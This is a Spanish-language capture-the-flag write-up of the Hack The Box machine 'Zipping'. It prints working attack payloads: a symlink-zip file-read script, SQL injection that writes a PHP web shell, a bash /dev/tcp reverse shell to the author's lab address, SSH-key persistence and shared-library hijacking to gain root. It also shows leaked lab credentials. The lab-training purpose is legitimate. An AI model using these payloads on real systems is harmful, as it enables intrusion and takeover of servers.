Table of Contents
Hack The Box: Zipping Writeup
Welcome to my detailed writeup of the medium difficulty machine “Zipping” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.229.87 --ulimit 5000 -g
210.129.229.87 -> [22,80]
1$ nmap -p22,80 -sCV 10.129.229.87 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-03 22:05 CEST
3Nmap scan report for 10.129.229.87
4Host is up (0.037s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
10|_ 256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
1180/tcp open http Apache httpd 2.4.54 ((Ubuntu))
12|_http-title: Zipping | Watch store
13|_http-server-header: Apache/2.4.54 (Ubuntu)
14Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
15
16Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
17Nmap done: 1 IP address (1 host up) scanned in 8.53 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.229.87 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-03 22:06 CEST
3Nmap scan report for 10.129.229.87
4Host is up (0.037s latency).
5Not shown: 1494 open|filtered udp ports (no-response)
6PORT STATE SERVICE
767/udp closed dhcps
85002/udp closed rfe
924606/udp closed unknown
1027482/udp closed unknown
1128609/udp closed unknown
1230909/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds
El único punto de ataque por ahora es el puerto 80/TCP .
HTTP Enumeration
1$ whatweb http://10.129.229.87
2http://10.129.229.87 [200 OK] Apache[2.4.54], Bootstrap, Country[RESERVED][ZZ], Email[info@website.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.54 (Ubuntu)], IP[10.129.229.87], JQuery
Encontramos unos nombre de usuarios.
Encontramos una funcionalidad/upload.php
Dice que solo acepta un archivo zip y dentro debe de haber un archivo pdf que contenga un curriculum. Viendo que la máquina se llama Zipping, supongo que los tiros deben de ir por aquí.
Probando la funcionalidad, subí un archivo .zip con un archivo .txt dentro y parece que comprueba que sea un archivo pdf.
Si subimos un archivo con el formato que se nos pide, vemos que nos devuelve una ruta.
Y podemos ver el archivo PDF.
LFI 1
Después de intentar burlar la subida del archivo, me encontré con este video.
Donde podemos conseguir un LFI a través de enlaces simbólicos.
Vamos a crear una prueba de concepto, haciendo un enlace simbólico llamado test.pdf
al /etc/passwd
1$ ln -s /etc/passwd test.pdf
2┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/zipping/content]
3└──╼ [★]$ ls
4test.pdf
Ahora creamos el archivo .zip
1[★]$ zip -r --symlink test.zip *
2 adding: test.pdf (deflated 65%)
Y ahora solicitando este archivo por curl…
1 curl http://10.129.229.87/uploads/e8e7b570702ae4e2572f607419225362/test.pdf
2root:x:0:0:root:/root:/bin/bash
3daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
4bin:x:2:2:bin:/bin:/usr/sbin/nologin
5sys:x:3:3:sys:/dev:/usr/sbin/nologin
6sync:x:4:65534:sync:/bin:/bin/sync
7games:x:5:60:games:/usr/games:/usr/sbin/nologin
8man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
9lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
10mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
11news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
12uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
13proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
14www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
15backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
16list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
17irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
18nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
19_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
20systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
21systemd-timesync:x:102:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
22messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
23systemd-resolve:x:104:110:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
24pollinate:x:105:1::/var/cache/pollinate:/bin/false
25sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
26rektsu:x:1001:1001::/home/rektsu:/bin/bash
27mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
28_laurel:x:999:999::/var/log/laurel:/bin/false
¡Eso fue fácil!
Ahora vamos como nos podemos aprovechar de este LFI, pero antes voy a scriptear esto ya que si no voy a tardar mucho en solicitar el archivo, ya que para cada uno tendría que crear el enlace simbólico, el zip y subirlo…
Este es el script
1import os
2import requests
3import signal
4import re
5from bs4 import BeautifulSoup
6
7BASE_URL = "http://10.129.229.87"
8
9def def_handler(x,y):
10 print("\n[i] Saliendo...")
11 exit(1)
12
13signal.signal(signal.SIGINT, def_handler)
14
15def create_symbolic_link(file):
16 os.system(f"ln -s {file} pwn.pdf")
17 return "pwn.pdf"
18
19def create_zip_file(link_path):
20 os.system(f"zip -r --symlink pwn.zip {link_path} >> /dev/null")
21 return "pwn.zip"
22
23def upload_file(zip_path):
24 r = requests.Session()
25 files = {'zipFile': ('pwn.zip', open(zip_path,'rb').read())}
26 data = {'submit': ''}
27 res = r.post('%s/upload.php' % BASE_URL, files=files,data=data)
28
29 soup = BeautifulSoup(res.text, 'html.parser')
30 links = soup.find_all('a')
31 href_values = [link.get('href') for link in links]
32
33 pattern = re.compile(r'^uploads/[0-9a-f]{32}/pwn\.pdf$')
34 filtered_hrefs = [link.get('href') for link in links if pattern.match(link.get('href'))]
35 upload_url = filtered_hrefs[0]
36 return upload_url
37
38
39def read_file(upload_path):
40 res = requests.get(BASE_URL+ "/" + upload_path)
41 print(res.text)
42 pass
43
44def lfi(file):
45 link_path = create_symbolic_link(file)
46 zip_path = create_zip_file(link_path)
47 upload_url = upload_file(zip_path)
48 # Borrando los archivos para poder solicitar el siguiente
49 os.system("rm pwn.zip pwn.pdf")
50 read_file(upload_url)
51
52if __name__ == "__main__":
53 while True:
54 file = input("> ")
55 lfi(file)
En el archivo /var/www/html/shop/product.php
Vemos lo siguiente
1if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
2 header('Location: index.php');
3 } else {
4 // Prepare statement and execute, but does not prevent SQL injection
5 $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
6 $stmt->execute();
Si cargamos el archivo /var/www/html/shop/functions.php
Vemos lo siguiente
$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'root';
$DATABASE_PASS = 'MySQL_P@ssw0rd!';
$DATABASE_NAME = 'zipping';
SQL Injection -> Bypassing preg_match()
Por ahora no nos sirve de nada, lo único que sabemos gracias a la credencial que por detrás la base de datos es MySQL, MariaDB, o variados.
Antes, paralelamente estaba ejecutando un sqlmap
para ver si este campo era vulnerable a SQL pero no encontró nada.
Ahora sabiendo como funciona por detrás y viendo la expresión regular que emplea, podemos intentar bypassearla.
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp#preg_match
No lo había incluido, pero había un apartado en el sitio web donde vi antes un parámetro id
que me llamó la atención por un posible SQLi.
Si intentamos hacer una inyección SQL normal nos redirecciona al index.php
http://10.129.229.87/shop/index.php?page=product&id=2 or 1=1-- -
Si probamos el payload %0A100'+or+'1'='1
vemos el primer reloj (id 1), esto significa que se está aconteciendo una SQLi.
Existen 8 columnas por detrás.
Podemos ver también la versión de base de datos.
También podemos comprobar el usuario.
Podemos ver donde se almacenan los privilegios del usuario en MariaDB. https://mariadb.com/kb/en/information-schema-user_privileges-table/
Se almacena en information-schema.user_privileges
Foothold
Este es el payload para filtar por los permisos de nuestro usuario root@localhost
%0A100%27+union+select+1,group_concat(grantee,privilege_type),3,4,5,6,7,8+from+information_schema.user_privileges+where+grantee+like+%27%root%%27+--+-1
Cuidado, tenemos permiso para poder crear archivos, lo podríamos utilizar para crear una Web Shell y a través del LFI explotarla, aun que probablemente no pueda explotar la Web Shell debido a que no se interpretará el PHP en el PDF… Viendo la documentación de MariaDB https://mariadb.com/kb/en/select-into-outfile/
Podríamos crear un archivo haciendo un
SELECT "LOQUESEA" INTO OUTFILE pointed.php
Preparamos el payload, y ahora solo falta crear el archivo..
http://10.129.229.87/shop/index.php?page=product&id=%0A100%27+union+select+1,%22%3C?php%20echo%20shell_exec($_GET[%27cmd%27]);%20?%3E%22,3,4,5,6,7,8+into+outfile+"/var/www/html/pointed.php"--+-1
No tenemos permisos para crear archivos en la aplicación web. Esperable.
Revisando el archivo /var/www/html/shop/index.php
vemos que es vulnerable a un LFI y además se concatena la extensión .php
al final, y como lo que queremos es cargar un archivo PHP, nos viene al pelo.
1<?php
2session_start();
3// Include functions and connect to the database using PDO MySQL
4include 'functions.php';
5$pdo = pdo_connect_mysql();
6// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
7$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
8// Include and show the requested page
9include $page . '.php';
10?>
Podemos probar a crearlo en /tmp/pointed.php
http://10.129.229.87/shop/index.php?page=product&id=%0A100%27+union+select+1,%22%3C?php%20echo%20shell_exec($_GET[%27cmd%27]);%20?%3E%22,3,4,5,6,7,8+into+outfile+%22/tmp/pointed.php%22--+-1
Por alguna razón a /tmp/pointed.php
no puedo subir el archivo.
Pero si probamos a subirlo a http://10.129.229.87/shop/index.php?page=product&id=%0A100%27+union+select+1,%22%3C?php%20echo%20shell_exec($_GET[%27cmd%27]);%20?%3E%22,3,4,5,6,7,8+into+outfile+%22/dev/shm/pointed.php%22--+-1
¡Conseguimos al fin una Web Shell!
Si nos ponemos en escucha con netcat
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
Podemos tratar de mandarnos una Reverse Shell
http://10.129.229.87/shop/index.php?page=/dev/shm/pointed&cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.10.14.80/443%200%3E%261%22
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.80] from (UNKNOWN) [10.129.229.87] 39240
4bash: cannot set terminal process group (1098): Inappropriate ioctl for device
5bash: no job control in this shell
6rektsu@zipping:/var/www/html/shop$
Podemos ver la flag de usuario.
1rektsu@zipping:/home/rektsu$ cat user.txt
2cat user.txt
38de5cae4a28aeac59....
Privilege Escalation
Enumerando la máquina, vemos que podemos ejecutar como el usuario que queramos el binario stock
1rektsu@zipping:/$ sudo -l
2sudo -l
3Matching Defaults entries for rektsu on zipping:
4 env_reset, mail_badpass,
5 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
6
7User rektsu may run the following commands on zipping:
8 (ALL) NOPASSWD: /usr/bin/stock
Me pide una password.
1rektsu@zipping:/$ sudo /usr/bin/stock test
2sudo /usr/bin/stock test
3
4Enter the password: Invalid password, please try again.
Ya que la shell no es muy estable, voy a establecer persistencia añadiendo mi clave pública al authorized_keys
1rektsu@zipping:/home/rektsu/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCs/aNkke9LIHvwrIqFLiLavlSa5gVzvG6EibfhsRDbRY0DLzVMaWw2TmVJ/sjcWBg7DqGFJaJ70cqh7rCX9WYQnUTQUoo..." > authorized_keys
2<hQlNkARQb9XM8= pointedsec@parrot" > authorized_keys
1$ ssh rektsu@10.129.252.223
2Welcome to Ubuntu 22.10 (GNU/Linux 5.19.0-46-generic x86_64)
3
4 * Documentation: https://help.ubuntu.com
5 * Management: https://landscape.canonical.com
6 * Support: https://ubuntu.com/advantage
7
8This system has been minimized by removing packages and content that are
9not required on a system that users do not log into.
10
11To restore this content, you can run the 'unminimize' command.
12Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings
13
14Last login: Sat Aug 3 20:04:00 2024 from 10.10.14.80
15rektsu@zipping:~$
Reversing stock
Abriendo el binario en ghidra
Vemos la contraseña.
Si la contraseña es válida, vemos que con dlopen()
se carga una librería compartida. Pero el nombre de esta está ofuscado.
Podemos hacer un script en Python para intentar obtener el valor.
1def xor_decrypt(data, key):
2 # Convertir los datos y la clave a bytes
3 data_bytes = data.to_bytes(8, byteorder='little')
4 key_bytes = key.to_bytes(8, byteorder='little')
5
6 # Aplicar XOR
7 decrypted_bytes = bytes([data_bytes[i] ^ key_bytes[i % len(key_bytes)] for i in range(len(data_bytes))])
8
9 return decrypted_bytes
10
11# Valores iniciales
12local_e8 = 0x2d17550c0c040967
13local_f0 = 0x657a69616b6148
14
15# Descifrar
16descifrado_bytes = xor_decrypt(local_e8, local_f0)
17
18# Imprimir los bytes y la cadena
19print(f"Descifrado (bytes): {descifrado_bytes.hex()}")
20print(f"Descifrado (string): {descifrado_bytes.decode('utf-8', errors='ignore')}")
21
22# Verificar si la longitud del resultado sugiere más datos
23if len(descifrado_bytes) < 8:
24 print("El valor descifrado parece ser incompleto.")
El valor está incompleto, pero bien, ya sabemos que la librería está en /home/r… y nuestro usuario se llama rektsu
y es el único usuario que tiene un directorio personal en /home
Ahora solo falta saber cual es la localización de librería compartida que está utilizando para ver si podemos modificarla y escalar privilegios.
1$ python3 decrypt.py
2Descifrado (bytes): 2f686f6d652f722d
3Descifrado (string): /home/r-
Mi reto era intentar descubrir donde estaba la librería de forma estática, pero con ltrace
podemos descubrirlo muy fácilmente.
Creating Evil Shared Library
La librería compartida entonces es:
/home/rektsu/.config/libcounter.so
Ahora solo falta explotarlo.
Creamos un libcounter.c
en /home/rektsu/.config/
Ahora compilamos este archivo con gcc
1rektsu@zipping:~/.config$ gcc -shared -fPIC -nostartfiles -o libcounter.so libcounter.c
2rektsu@zipping:~/.config$ ls -la
3total 28
4drwxrwxr-x 2 rektsu rektsu 4096 Aug 3 20:26 .
5drwxr-x--x 7 rektsu rektsu 4096 Aug 7 2023 ..
6-rw-rw-r-- 1 rektsu rektsu 116 Aug 3 20:26 libcounter.c
7-rwxrwxr-x 1 rektsu rektsu 14272 Aug 3 20:26 libcounter.so
Y ahora solo falta ejecutar el binario como sudo y poner la contraseña, si todo sale bien se debería de cargar nuestra librería compartida maliciosa y se debería de ejecutar una /bin/bash
con máximos privilegios.
1rektsu@zipping:~/.config$ sudo stock
2Enter the password: St0ckM4nager
3root@zipping:/home/rektsu/.config# whoami
4root
5root@zipping:/home/rektsu/.config# id
6uid=0(root) gid=0(root) groups=0(root)
7root@zipping:/home/rektsu/.config#
Y ya podríamos leer la flag de super usuario.
1root@zipping:~# cd /root
2root@zipping:~# ls -la
3total 44
4drwx------ 6 root root 4096 Aug 3 20:00 .
5drwxr-xr-x 19 root root 4096 Oct 17 2023 ..
6lrwxrwxrwx 1 root root 9 Jan 27 2023 .bash_history -> /dev/null
7-rw-r--r-- 1 root root 3106 Apr 28 2022 .bashrc
8drwx------ 3 root root 4096 Aug 7 2023 .cache
9drwx------ 3 root root 4096 Aug 7 2023 .launchpadlib
10drwxr-xr-x 3 root root 4096 Aug 7 2023 .local
11-rw-r--r-- 1 root root 161 Apr 28 2022 .profile
12drwx------ 2 root root 4096 Aug 7 2023 .ssh
13-rw-r--r-- 1 root root 27 Aug 3 20:09 .stock.csv
14-rw-r--r-- 1 root root 165 Aug 7 2023 .wget-hsts
15-rw-r----- 1 root root 33 Aug 3 20:00 root.txt
16root@zipping:~# cat root.txt
1765ea9aab4a320db....
18root@zipping:~#
Happy Hacking! 🚀
#HackTheBox #Zipping #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #LFI #Abusing Symbolic Link #Scripting #Python Scripting #Information Leakage #SQL Injection #Abusing FILE Privilege #Reversing #Abusing Shared Library